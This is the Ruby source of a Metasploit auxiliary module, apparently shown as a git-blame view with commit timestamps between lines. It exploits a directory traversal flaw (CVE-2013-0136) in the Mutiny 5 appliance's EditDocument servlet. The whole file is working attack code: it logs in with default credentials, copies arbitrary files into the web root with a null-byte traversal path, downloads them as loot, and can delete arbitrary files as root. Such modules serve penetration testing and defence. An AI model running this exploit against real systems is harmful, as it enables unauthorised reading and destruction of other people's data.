2013-05-15 14:02:25 +00:00
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##
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2014-10-17 16:47:33 +00:00
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# This module requires Metasploit: http://metasploit.com/download
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2013-10-15 18:50:46 +00:00
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# Current source: https://github.com/rapid7/metasploit-framework
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2013-05-15 14:02:25 +00:00
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##
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2016-03-08 13:02:44 +00:00
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class MetasploitModule < Msf::Auxiliary
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2013-08-30 21:28:54 +00:00
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mutiny 5 Arbitrary File Read and Delete',
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'Description' => %q{
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This module exploits the EditDocument servlet from the frontend on the Mutiny 5
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appliance. The EditDocument servlet provides file operations, such as copy and
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delete, which are affected by a directory traversal vulnerability. Because of this,
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any authenticated frontend user can read and delete arbitrary files from the system
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with root privileges. In order to exploit the vulnerability a valid user (any role)
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in the web frontend is required. The module has been tested successfully on the
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Mutiny 5.0-1.07 appliance.
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},
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'Author' =>
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[
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'juan vazquez' # Metasploit module and initial discovery
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-0136' ],
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[ 'US-CERT-VU', '701572' ],
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[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities' ]
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],
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'Actions' =>
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[
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['Read'],
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['Delete']
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],
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'DefaultAction' => 'Read',
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'DisclosureDate' => 'May 15 2013'))
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('TARGETURI',[true, 'Path to Mutiny Web Service', '/']),
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OptString.new('USERNAME', [ true, 'The user to authenticate as', 'superadmin@mutiny.com' ]),
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OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]),
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OptString.new('PATH', [ true, 'The file to read or delete' ]),
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2017-05-03 20:42:21 +00:00
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])
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2013-08-30 21:28:54 +00:00
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end
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def run
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2016-02-01 22:06:34 +00:00
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print_status("Trying to login")
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2013-08-30 21:28:54 +00:00
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if login
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2016-02-01 22:06:34 +00:00
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print_good("Login successful")
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2013-08-30 21:28:54 +00:00
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else
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print_error("Login failed, review USERNAME and PASSWORD options")
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2013-08-30 21:28:54 +00:00
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return
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end
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case action.name
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when 'Read'
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read_file(datastore['PATH'])
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when 'Delete'
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delete_file(datastore['PATH'])
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end
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end
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def read_file(file)
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2016-02-01 22:06:34 +00:00
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print_status("Copying file to Web location...")
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2013-08-30 21:28:54 +00:00
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dst_path = "/usr/jakarta/tomcat/webapps/ROOT/m/"
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"),
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'method' => 'POST',
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'cookie' => "JSESSIONID=#{@session}",
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'encode_params' => false,
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'vars_post' => {
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'operation' => 'COPY',
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'paths[]' => "../../../../#{file}%00.txt",
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'newPath' => "../../../..#{dst_path}"
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}
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})
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if res and res.code == 200 and res.body =~ /\{"success":true\}/
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print_good("File #{file} copied to #{dst_path} successfully")
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else
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print_error("Failed to copy #{file} to #{dst_path}")
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2013-08-30 21:28:54 +00:00
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end
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2016-02-01 22:06:34 +00:00
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print_status("Retrieving file contents...")
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2013-08-30 21:28:54 +00:00
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, "m", ::File.basename(file)),
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'method' => 'GET'
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})
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if res and res.code == 200
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store_path = store_loot("mutiny.frontend.data", "application/octet-stream", rhost, res.body, file)
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print_good("File successfully retrieved and saved on #{store_path}")
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else
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print_error("Failed to retrieve file")
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2013-08-30 21:28:54 +00:00
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end
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# Cleanup
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delete_file("#{dst_path}#{::File.basename(file)}")
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end
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def delete_file(file)
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print_status("Deleting file #{file}")
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2013-08-30 21:28:54 +00:00
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"),
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'method' => 'POST',
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'cookie' => "JSESSIONID=#{@session}",
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'vars_post' => {
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'operation' => 'DELETE',
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'paths[]' => "../../../../#{file}"
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}
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})
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if res and res.code == 200 and res.body =~ /\{"success":true\}/
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2016-02-01 22:06:34 +00:00
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print_good("File #{file} deleted")
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else
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print_error("Error deleting file #{file}")
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end
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end
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def login
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
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'method' => 'GET'
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})
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2014-05-12 19:23:30 +00:00
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if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
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2013-08-30 21:28:54 +00:00
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first_session = $1
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end
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, "interface", "j_security_check"),
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'method' => 'POST',
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'cookie' => "JSESSIONID=#{first_session}",
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'vars_post' => {
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'j_username' => datastore['USERNAME'],
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'j_password' => datastore['PASSWORD']
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}
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})
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if not res or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/
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return false
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end
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res = send_request_cgi(
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{
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'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
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'method' => 'GET',
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'cookie' => "JSESSIONID=#{first_session}"
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})
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2014-05-12 19:23:30 +00:00
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if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
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2013-08-30 21:28:54 +00:00
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@session = $1
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return true
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end
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return false
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end
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2013-05-15 14:02:25 +00:00
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end
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